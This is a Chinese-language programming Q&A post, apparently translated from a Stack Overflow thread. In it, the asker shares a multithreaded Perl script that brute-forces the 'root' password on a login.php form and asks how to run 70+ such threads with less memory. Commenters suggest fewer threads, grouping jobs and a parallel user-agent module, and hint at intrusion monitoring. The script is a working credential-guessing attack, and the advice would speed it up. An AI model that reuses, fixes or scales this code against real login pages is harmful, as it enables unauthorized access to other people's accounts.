我想創建超過70個線程,每個線程以不同的值開始。在Perl中使用多線程時如何減少內存消耗?
這裏是我的代碼,以便更清晰
use strict;
use warnings;
use threads;
use LWP::UserAgent;
my @char = (("A".."Z"),("a".."z"));
my @threads;
my $ua = LWP::UserAgent->new;
push @threads , threads->create(\&Chara);
sub Chara {
foreach my $a (@char){
foreach my $b (@char){
foreach my $c (@char){
foreach my $d (@char){
foreach my $e (@char){
my @req = ("http://localhost/login.php",['log' => "root" , 'pwd' => "A$e$d$c$b$a"]);
my $res = $ua->post(@req);
print "Trying A$e$d$c$b$a\n";
if ($res->as_string() =~ /302/ && $res->as_strint() =~ m/admin/i){
print "A$e$d$c$b$a\n";
exit;
}}}}}}};;
,我重複,超過70次不同的值,並在腳本的末尾,我把
$_->join foreach @threads;
但是當我運行腳本消耗大量內存
有什麼建議。
請原諒我的語言。
所以你的問題是如何減少內存消耗? –
減少線程數,畢竟你還沒有70個核心。您可能需要考慮在您的網站中添加一些基本的入侵監控功能...... –
通過對作業進行分組來減少線程數量,或考慮http://search.cpan.org/~msouth/ParallelUserAgent-2.61/lib /LWP/Parallel/UserAgent.pm –